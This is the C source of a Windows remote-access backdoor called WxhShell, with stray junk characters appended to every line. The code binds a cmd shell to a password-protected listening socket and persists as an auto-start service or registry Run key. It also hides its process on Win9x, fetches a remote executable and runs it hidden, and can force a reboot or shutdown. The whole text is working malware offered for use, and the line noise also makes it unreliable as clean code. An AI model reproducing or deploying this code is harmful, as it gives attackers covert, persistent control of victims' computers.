    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cR5<.$aY  
    if(Boot(SHUTDOWN)) KH KqE6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &`TX4b^/!  
    else { =_yOX=g|  
    closesocket(wsh); N%B#f\N  
    ExitThread(0); 8:&@MZQ&!  
    } TVFGonVY  
    break; ,XA;S5FE  
    } Pm?6]] 7  
  // 获取shell ,+X8?9v  
  case 's': { c~RIl5j  
    CmdShell(wsh); >M1/m=a  
    closesocket(wsh); II<<-Y6  
    ExitThread(0); fRa1m?%s  
    break; ldX]A#d.  
  } J)fS2Ni+  
  // 退出 D9LwYftZ  
  case 'x': { Xj/ X.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g(5s{njL  
    CloseIt(wsh); F}01ikXDb'  
    break; lHGv:TN  
    } Xj-3C[ 8@  
  // 离开 \:=Phbn  
  case 'q': { &erNVD5o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5;^8wh(  
    closesocket(wsh); 84 knoC  
    WSACleanup(); .M! (|KE4  
    exit(1); d;;=s=j  
    break; )nJ>kbO~8  
        } @P.l8|w  
  } vGAPQg6*  
  } ?APzx@$D.  
Qp=uiXs  
  // 提示信息 s=q+3NTv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -xcz+pHQ  
} e+6~JbMV  
  } 8D n]`}ok  
m|7g{vHVV  
  return; NFSPw` f  
} u51/B:+   
hNoN=J  
// shell模块句柄 ^Ue.9#9T&g  
int CmdShell(SOCKET sock) Ci*5E$+\  
{ ~*[}O)7#  
STARTUPINFO si; N4Lk3]  
ZeroMemory(&si,sizeof(si)); iK#{#ebAoW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T5Fah#-4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w}1)am &pD  
PROCESS_INFORMATION ProcessInfo; Sph+kiy|  
char cmdline[]="cmd"; =_1" d$S&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ld?M,Qd  
  return 0; JIQzP?+?  
} O:x=yj%^  
8zGzn%^  
// 自身启动模式 82=][9d #  
int StartFromService(void) 1Jd:%+T  
{ 08` @u4  
typedef struct S; c=6@"  
{ {l6]O  
  DWORD ExitStatus; W[?B@sdSZ  
  DWORD PebBaseAddress; dG rA18  
  DWORD AffinityMask; ='JX_U`A^F  
  DWORD BasePriority; *= 71/&B  
  ULONG UniqueProcessId; MJC Yi<D  
  ULONG InheritedFromUniqueProcessId; + mcN6/  
}   PROCESS_BASIC_INFORMATION; 2 g8PU$T  
oD8-I^  
PROCNTQSIP NtQueryInformationProcess; OiOL 4}5(  
Qm-P& g-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4J_%quxO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q38; w~H  
)6j:Mbz   
  HANDLE             hProcess; +?<jSmGW  
  PROCESS_BASIC_INFORMATION pbi; S3<v?tqLr  
b#m47yTW9<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gs6 #aL}]R  
  if(NULL == hInst ) return 0; r%#qbsN  
~4^e a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g3Q #B7A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yS43>UK_W+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b?$09,{0  
8j$q%g  
  if (!NtQueryInformationProcess) return 0; 6vA5L_  
yR!>80$j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ; M(}fV]  
  if(!hProcess) return 0; +{I\r|  
'KL(A-}!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \\qg2yI  
?*@h]4+k'  
  CloseHandle(hProcess); [GuDMl3hC  
\f  LBw0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C;5}/J^E  
if(hProcess==NULL) return 0; 1fy{@j(W  
UE4#j \  
HMODULE hMod; pUr[MnQLf  
char procName[255]; 7" [;M  
unsigned long cbNeeded; ts]7 + 6V  
x\DkS,O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ' 7A7HDJ  
_#O?g=1  
  CloseHandle(hProcess); FCWphpz  
(Gn[T1p?  
if(strstr(procName,"services")) return 1; // 以服务启动 7q2YsI  
-AT@M1K7%  
  return 0; // 注册表启动 zT% kx:Fk  
} =/;_7|ssd  
P1QJ'eC;T  
// 主模块 Kq$Zyf=E  
int StartWxhshell(LPSTR lpCmdLine) ie!4z34  
{ W!k6qTz)  
  SOCKET wsl; 3EvA 5K.  
BOOL val=TRUE; #+;=ijyF  
  int port=0; taQ[>x7b  
  struct sockaddr_in door;  T_uuFL  
O5Lv :qAa  
  if(wscfg.ws_autoins) Install(); ; ]Aa  
>D<=9G(a  
port=atoi(lpCmdLine); ;$QJnQ"R  
a{+oN $  
if(port<=0) port=wscfg.ws_port; Z@ kC28  
mTfMuPPs[  
  WSADATA data; uFm-HR@4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DVJc-.x8  
VO Qt{v{1|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d eoM~r9s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .y/b$|d,  
  door.sin_family = AF_INET; 1,T9HpM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u B\& Q;  
  door.sin_port = htons(port); l8-jFeeMd  
xgz87d/<:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |^Es6 .~  
closesocket(wsl); 2M?lgh4"  
return 1; {nefS\#{  
} uKy*N*}  
=T)2wcXBB  
  if(listen(wsl,2) == INVALID_SOCKET) { lt4jnV2"a  
closesocket(wsl); fn OkH  
return 1; ^wa9zs2s;/  
} <k](s  
  Wxhshell(wsl); 0EOX@;}  
  WSACleanup(); q4i8Sp>  
j6vZ{Fx;w  
return 0; {1aAm+  
#!jRY!2Vt  
} >!1f`  
Rda1X~-g  
// 以NT服务方式启动 e<4z)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?+5{HFx  
{ :dN35Y]a  
DWORD   status = 0; !&O/7ywe  
  DWORD   specificError = 0xfffffff; Ye2];(M  
V(u2{4gZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C|\^uR0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UD2<!a'T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e@=[+iJc  
  serviceStatus.dwWin32ExitCode     = 0; 2g6_qsqi  
  serviceStatus.dwServiceSpecificExitCode = 0; //lZmyP?  
  serviceStatus.dwCheckPoint       = 0; Iv72;ZCh?6  
  serviceStatus.dwWaitHint       = 0; "t:.mA<v  
cWO )QIE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uV_)JZ W,L  
  if (hServiceStatusHandle==0) return; cqY.^f.  
id+m [']+  
status = GetLastError(); #0g#W  
  if (status!=NO_ERROR) 'c0'P%[5A  
{ YeC,@d[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y@H,Lk  
    serviceStatus.dwCheckPoint       = 0; I`W-RWZ  
    serviceStatus.dwWaitHint       = 0; g[au-.:  
    serviceStatus.dwWin32ExitCode     = status; >J3ja>Gw/  
    serviceStatus.dwServiceSpecificExitCode = specificError; =9 M|o0aY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?Jk@lE<  
    return; gAA %x 7  
  } V`,[=u?c  
n>:c}QAJH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8EG8!,\I  
  serviceStatus.dwCheckPoint       = 0; Cw[Od"B\?U  
  serviceStatus.dwWaitHint       = 0; #A/J^Ko  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tH,K\v`f  
} ~,!hE&LE~  
yp{F 8V 8  
// 处理NT服务事件,比如:启动、停止 UD<^r]'x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v?D kDnta  
{ W(a'^ #xe  
switch(fdwControl) 62)lf2$1  
{ QP5:M!O<)  
case SERVICE_CONTROL_STOP: xrVZxK:!  
  serviceStatus.dwWin32ExitCode = 0; 9U9c"'g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8U<.16+5Q  
  serviceStatus.dwCheckPoint   = 0; B:- KZuO  
  serviceStatus.dwWaitHint     = 0; ,}IER  
  { EB2^]?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [wio/wc  
  } ).+xcv   
  return; t7oz9fSz=?  
case SERVICE_CONTROL_PAUSE: rfXF 01I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "UoCT7X  
  break; )fd-IYi-3  
case SERVICE_CONTROL_CONTINUE: pm W6~%}*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _X%6+0M  
  break; H"FflmUO  
case SERVICE_CONTROL_INTERROGATE: I"cQ5gF?A  
  break; x-V' 0-#U>  
}; lv\F+?]a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?j?|G  
} ADyNNMcx  
Tt<-<oyU.  
// 标准应用程序主函数  _WDBG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0J:U\S  
{ <[3lV)~t  
)| Vg/S  
// 获取操作系统版本 b*FU*)<4.  
OsIsNt=GetOsVer(); SEQO2`]e:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bm tJU3Rm  
?mYV\kDt\  
  // 从命令行安装 j |'# 5H`  
  if(strpbrk(lpCmdLine,"iI")) Install(); @%G'U&R{  
D2TXOPH  
  // 下载执行文件 SJ@8[n.x  
if(wscfg.ws_downexe) { p~, 3A:i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HV*:<2P%D  
  WinExec(wscfg.ws_filenam,SW_HIDE); vN0L( B  
} a(x.{}uG,  
}uvKE|umj  
if(!OsIsNt) { U| 41u4)D  
// 如果时win9x,隐藏进程并且设置为注册表启动 0K$WSGB?6j  
HideProc(); UYcyk $da  
StartWxhshell(lpCmdLine); dWW-tHv#  
} PK-}Ldj  
else Nn,vdu{^2  
  if(StartFromService()) K{= r.W  
  // 以服务方式启动 [I++>4  
  StartServiceCtrlDispatcher(DispatchTable); 7dufY }}  
else S& ,Ju%  
  // 普通方式启动 =p,4=wo{  
  StartWxhshell(lpCmdLine); =0s`4Y"+  
*%Nns',  
return 0; <nOuyGIZ  
} r?"}@MRW  
1&8j3"  
l${Hgn+  
h=v[i!U-eY  
=========================================== [NCXn>Z  
,<Grd5em.  
}j5R@I6P  
/\,_P  
Io,/ +#|  
kH>vD = q>  
" d6t)gG*5  
H;TOPtt2  
#include <stdio.h> 33{;[/4  
#include <string.h> qXP1Q3  
#include <windows.h> 7E!";HT  
#include <winsock2.h> e-%7F]e  
#include <winsvc.h> ;Xfd1    
#include <urlmon.h> SmT+L,:D  
6:|!1Pg5  
#pragma comment (lib, "Ws2_32.lib") <i{m.p R>  
#pragma comment (lib, "urlmon.lib") 8`AcS|k  
9&[) (On74  
#define MAX_USER   100 // 最大客户端连接数 fR]p+\#8u*  
#define BUF_SOCK   200 // sock buffer S|{Yvyp  
#define KEY_BUFF   255 // 输入 buffer wL8bs- U  
(1kn):  
#define REBOOT     0   // 重启 G_2gKkIK-  
#define SHUTDOWN   1   // 关机 DGa#d_I  
f7_\).T  
#define DEF_PORT   5000 // 监听端口 L;.VEz!  
-A~;MGY  
#define REG_LEN     16   // 注册表键长度 Z%Tq1O  
#define SVC_LEN     80   // NT服务名长度 Njy9JX  
d{iu+=NXz  
// 从dll定义API 7~!I2DV_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ==-7F3QP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l#2r.q^$|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #[k~RYS3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o ;[C(OS  
r!=]Q}`F  
// wxhshell配置信息 ;1{iF2jZ:  
struct WSCFG { %Lh-aP{[e  
  int ws_port;         // 监听端口 u|_LR5S!j  
  char ws_passstr[REG_LEN]; // 口令 kz7vbY  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2cs?("8e%  
  char ws_regname[REG_LEN]; // 注册表键名 e/]O<,*  
  char ws_svcname[REG_LEN]; // 服务名 c{'$=lR "  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ys&"r":I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g^s+C Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ht`<XbQ>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7.7Cluh5,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ['51FulDR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $?]@_=  
L<f-Ed9|  
}; tl{]gz  
ql!5m\  
// default Wxhshell configuration p/ziFpU  
struct WSCFG wscfg={DEF_PORT, '\ph`Run  
    "xuhuanlingzhe", 8_^'(]  
    1,  uD.  
    "Wxhshell", >Jm-2W5J  
    "Wxhshell", iN:G/ss4O  
            "WxhShell Service", s0C?Bb}?  
    "Wrsky Windows CmdShell Service", '`M#UuU  
    "Please Input Your Password: ", -{yDk$"  
  1, DHh+%|e  
  "http://www.wrsky.com/wxhshell.exe", SBCL1aM  
  "Wxhshell.exe"  _/8_,9H  
    }; i>ESEmb-  
>VRo|o<D  
// 消息定义模块 g)=V#Bglv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Ia4H   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ux_EpC   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gZw\*9Q9  
char *msg_ws_ext="\n\rExit.";  4 "pS  
char *msg_ws_end="\n\rQuit."; C $]5l; `  
char *msg_ws_boot="\n\rReboot..."; T$gkq>!j<E  
char *msg_ws_poff="\n\rShutdown..."; KW&nDu t  
char *msg_ws_down="\n\rSave to "; M,b<B_$  
9>A-$a4R>  
char *msg_ws_err="\n\rErr!"; ~fyF&+ibp'  
char *msg_ws_ok="\n\rOK!"; #@nZ4=/z  
Mq+viU&   
char ExeFile[MAX_PATH]; EHH|4;P6  
int nUser = 0; IT8B~I\OY  
HANDLE handles[MAX_USER]; QT`fix{  
int OsIsNt; P\D[n-&  
68v xI|EZ  
SERVICE_STATUS       serviceStatus; ?~F]@2)5w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2"T8^r|U  
?,WUJH?^  
// 函数声明 &FL%H;Kfx  
int Install(void); k)$iK2I  
int Uninstall(void); ,DE(5iDS  
int DownloadFile(char *sURL, SOCKET wsh); TZ^{pvBy  
int Boot(int flag); )vO_sIbnW  
void HideProc(void); tH-gaDj_  
int GetOsVer(void); @Djs[Cs<*  
int Wxhshell(SOCKET wsl); X }m7@r@  
void TalkWithClient(void *cs); '9^E8+=|  
int CmdShell(SOCKET sock); }R`8h&J  
int StartFromService(void); zXj>K3M  
int StartWxhshell(LPSTR lpCmdLine); =L:[cIRrT;  
<2n'}&F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wl,%&H2S<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I 'x$,s  
Q<z)q<e  
// 数据结构和表定义 * zd.  
SERVICE_TABLE_ENTRY DispatchTable[] = ,)Yao;Cvd  
{ 5?^]1P_  
{wscfg.ws_svcname, NTServiceMain}, 0w^jls  
{NULL, NULL} ' " Bex`  
}; V %i<;C  
Zk wJ.SuU  
// 自我安装 B#J{F  
int Install(void) $`E4m8fX  
{ V78Mq:7d  
  char svExeFile[MAX_PATH]; YavfjS:2  
  HKEY key; ri_P;#lz  
  strcpy(svExeFile,ExeFile); 8&i;hZm  
gs$3)t  
// 如果是win9x系统,修改注册表设为自启动 kBrvl^D{5  
if(!OsIsNt) { `2pO5B50  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jeY4yM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FL59  
  RegCloseKey(key); RwUW;hU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wUbmzP.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wh9L(0  
  RegCloseKey(key); >r~0SMQr  
  return 0; j6`6+W=S(  
    } a a4$'8s  
  } ! &Z*yH  
} uRP Ff77  
else { 2q12y Y f  
N0]z/}hd@  
// 如果是NT以上系统,安装为系统服务 B<A:_'g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X>2? `8M  
if (schSCManager!=0) 4\v~HFsv  
{ Z&TD+fT<  
  SC_HANDLE schService = CreateService i"/r)>"b  
  ( )sqaR^  
  schSCManager, 8^i\Y;6  
  wscfg.ws_svcname, 5@K\c6   
  wscfg.ws_svcdisp, F/)f,sZF  
  SERVICE_ALL_ACCESS, KUbJe)}g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OE6#YT  
  SERVICE_AUTO_START, P;jlHZ9?O  
  SERVICE_ERROR_NORMAL, 5Qb;2!  
  svExeFile, %?@x]B9Y8E  
  NULL, =1O?jrl~q  
  NULL, VZ;@S3TS  
  NULL, O)l%OOv   
  NULL, 4>l0V<  
  NULL &/HoSj>HS  
  ); ;D:=XA%  
  if (schService!=0) )#C_mB$-#  
  { |n)<4%i8J  
  CloseServiceHandle(schService); <Uf|PFVj$  
  CloseServiceHandle(schSCManager); Ks|gL#)*Ku  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -P2 @mx%  
  strcat(svExeFile,wscfg.ws_svcname); R;%^j=Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NOV.Bs{ yL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8:~b &>   
  RegCloseKey(key); miPmpu!  
  return 0; se!g4XEWD  
    } YRXK@'[=  
  } L+Eu d  
  CloseServiceHandle(schSCManager); 9w zwY[{  
} ]Uu aN8  
} b"^\)|*4;  
Xp#~N_S$  
return 1; fa"\=V2S  
} ZH% we  
Ohc^d"[7  
// 自我卸载 K@HLIuz4t  
int Uninstall(void) W.IH#`-9E  
{ cFw3Iw"JJ  
  HKEY key; B+|IZoR  
2f `&WUe  
if(!OsIsNt) { ^+EMZFjg(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g2A"1w<-AH  
  RegDeleteValue(key,wscfg.ws_regname); m.!wsw  
  RegCloseKey(key); jBS'g{y-!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R^uc%onP  
  RegDeleteValue(key,wscfg.ws_regname); D6Dn&/>Zp  
  RegCloseKey(key); !1("(Eb  
  return 0; CNq[4T'~A  
  } # 9V'';:  
} RTZ:U@  
} Q~8y4=|#CY  
else { hc"6u\>  
<M=';h^w2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2g0K76=Co:  
if (schSCManager!=0) I-TlrW=t  
{ <vL}l:r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f*v1J<1#  
  if (schService!=0) {|Bd?U;  
  { \,hrk~4U;(  
  if(DeleteService(schService)!=0) { #.o0mguU  
  CloseServiceHandle(schService); |g+!  
  CloseServiceHandle(schSCManager); LGAX"/LX  
  return 0; 7pz\ScSe  
  } b22LT52  
  CloseServiceHandle(schService); pcNSL'u+  
  } kwO eHdV^  
  CloseServiceHandle(schSCManager); y ^SyhG,V[  
} ;c$@@ l  
} 7r['  
1EQvcw #  
return 1; ;KL9oV!<f  
} p+vh[+yp  
C>NQ-w^  
// 从指定url下载文件 oikxg!0S  
int DownloadFile(char *sURL, SOCKET wsh) D@:"f?K>  
{ t|<FA#  
  HRESULT hr; q#jEv-j.  
char seps[]= "/"; /e .D /;]  
char *token; %/Bvy*X&  
char *file; I'?6~Sn3  
char myURL[MAX_PATH]; =E!x~S;N  
char myFILE[MAX_PATH]; a&N%|b K  
k},>^qE  
strcpy(myURL,sURL); lYP~3wp99  
  token=strtok(myURL,seps); s+'XQs^{aj  
  while(token!=NULL) !:dL~n  
  { !D7"=G}HD  
    file=token; $M39 #a  
  token=strtok(NULL,seps); :,47rN,qa  
  } @R UP$  
aTG[=)x L  
GetCurrentDirectory(MAX_PATH,myFILE); VcrVaBw  
strcat(myFILE, "\\"); ?|lIXz  
strcat(myFILE, file); 6Etss!_  
  send(wsh,myFILE,strlen(myFILE),0); lJUy;yp_+  
send(wsh,"...",3,0); `/0u{[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W-ez[raY  
  if(hr==S_OK) _Ds@lVY  
return 0; >IBTBh_ka  
else "9%q bM B  
return 1; UP]1(S?  
"1K:/n  
} #cO+<1  
 `Klrr  
// 系统电源模块 LJj=]_  
int Boot(int flag) x^X$M$o,l  
{ mbGcDG[HQ  
  HANDLE hToken; *Wso3 6an  
  TOKEN_PRIVILEGES tkp; obj!I7  
dHq#  
  if(OsIsNt) { McP~}"!^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :PUK6,"5]O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >(OYK}ZN  
    tkp.PrivilegeCount = 1; HS7_MGU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Co[n--@C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tt%}4{"  
if(flag==REBOOT) { -,|ha>r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Uri|^t  
  return 0; ZL=N[XW4'  
} -~\f2'Q  
else { ^4 8\>-Q\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e"~)Utk  
  return 0; gJk[Ja  
} q1w|'V  
  } ,z[(k"  
  else { nP OO3!<{  
if(flag==REBOOT) { 3}j1RYtz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Za0gs @$  
  return 0; St2Q7K5s{  
} 0E1=W 6UZ  
else { a*s\Em7f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /BT1oWi1y  
  return 0; 9ad6uTc  
} EX+,:l\^  
} n]v7V&mj\  
{@45?L('  
return 1; =zOe b/  
} JjQVzkE  
J.W Ho c  
// win9x进程隐藏模块 T/NjNEd#  
void HideProc(void) LXNQb6!  
{ }PZ=`w*O  
7`dY1.rq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ eiF@G  
  if ( hKernel != NULL ) 8%-%AWF]  
  { Hd374U<8]T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BGzO!s*@j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hlC%HA  
    FreeLibrary(hKernel); ]-a{IWVN  
  } R6<4"?*r  
Cg3ODfe  
return; H-2_j  
} 9n 6fXOC  
3q?5OL^$  
// 获取操作系统版本 q]XHa,"  
int GetOsVer(void) fhr-Y'  
{ )!sa)\E?  
  OSVERSIONINFO winfo; e#khl9j*bt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $rB6<  
  GetVersionEx(&winfo); Y"*:&E2)r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) puF%=i  
  return 1; "H?QqrKx  
  else +Vy_9I(4Z  
  return 0; 0;<OYbm3<  
} cgN>3cE  
uREu2T2  
// 客户端句柄模块 a q kix"J  
int Wxhshell(SOCKET wsl) K:_($X]  
{ {R8=}Qo  
  SOCKET wsh; [e1L{_*l  
  struct sockaddr_in client; *KJ7nRKx(w  
  DWORD myID; Nxi)Q$  
ESv:1o`?n  
  while(nUser<MAX_USER) L/ fRF"V  
{ VaJfD1zd1  
  int nSize=sizeof(client); Onw24&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c{VJ2NQ+  
  if(wsh==INVALID_SOCKET) return 1; 0m&3?"5u  
,E9d\+j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); anC+r(jjg9  
if(handles[nUser]==0) eO[c lB  
  closesocket(wsh); o|rzN\WJn  
else P#*n3&Uu  
  nUser++; *Ru2:}?MpS  
  } %E.S[cf%8&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4| f}F  
`)tA YH  
  return 0; HTR1)b  
} ~K` 1  
bjzx!OCpV  
// 关闭 socket Bm} iU~(Z`  
void CloseIt(SOCKET wsh) R&Ci/  
{ .[(P  
closesocket(wsh); TVeJ6  
nUser--; +N R n0 z(  
ExitThread(0); *<q4S(l  
} ~!] m6/  
Y`^o7'Z2^P  
// 客户端请求句柄 .CS v|:'1  
void TalkWithClient(void *cs) Xm@aYNV  
{ }N]!0Ka  
g_M ^E-3  
  SOCKET wsh=(SOCKET)cs; SH=:p^J  
  char pwd[SVC_LEN]; =~J fVozU  
  char cmd[KEY_BUFF]; JO}?.4B  
char chr[1]; ,]q%/yxi  
int i,j; RUX8qT(Z  
@n@g)`  
  while (nUser < MAX_USER) { VYigxhP7  
_l T0H u  
if(wscfg.ws_passstr) { 7P*Z0%Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3]`mQm E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /buWAX 1  
  //ZeroMemory(pwd,KEY_BUFF); 7Ud'd<  
      i=0; fnOIv#  
  while(i<SVC_LEN) { j)";:v  
@|=UrKAN  
  // 设置超时 Bc[6*Y,%T  
  fd_set FdRead; M2p<u-6 "  
  struct timeval TimeOut; Rcf=J){D6  
  FD_ZERO(&FdRead); nq@5j0fK  
  FD_SET(wsh,&FdRead); }p*?1N  
  TimeOut.tv_sec=8; jb3.W  
  TimeOut.tv_usec=0; h>W@U9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >BJ}U_ck  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |D<+X^0'  
[+gzdLad  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l&|)O6N  
  pwd=chr[0]; &k+*3.X  
  if(chr[0]==0xd || chr[0]==0xa) { ev"M;"y  
  pwd=0; r=$gT@  
  break; g@u;Y5  
  } O<`,,^4w/  
  i++; -l JYr/MSL  
    } xFwXW )  
27iy4(4  
  // 如果是非法用户,关闭 socket _+n;A46  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c'rd$  
} kwF]TO S  
[>p6   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b0YNac.l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \u8,!) 4i  
~p^7X2% !  
while(1) { Q c3?}os2  
)E~_rDTl  
  ZeroMemory(cmd,KEY_BUFF); QkE,T0,/?h  
Ut_mrb+W  
      // 自动支持客户端 telnet标准   nsl*Dm"*F  
  j=0; @'gl~J7  
  while(j<KEY_BUFF) { :t5uDKZ_j)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7}o6_i  
  cmd[j]=chr[0]; :l`i4kx  
  if(chr[0]==0xa || chr[0]==0xd) { I.9o`Q[8&  
  cmd[j]=0; h!Y?SO.b  
  break; /{R3@,D[]  
  } Z(UD9wY5m  
  j++; 4|F#gK5E  
    } 8 }z3CuM  
^jOCenE 3  
  // 下载文件 G4m4k  
  if(strstr(cmd,"http://")) { &-4 ?!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~},~c:fF?  
  if(DownloadFile(cmd,wsh)) :d({dF_k;p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>:i-5  
  else df ?eL2v  
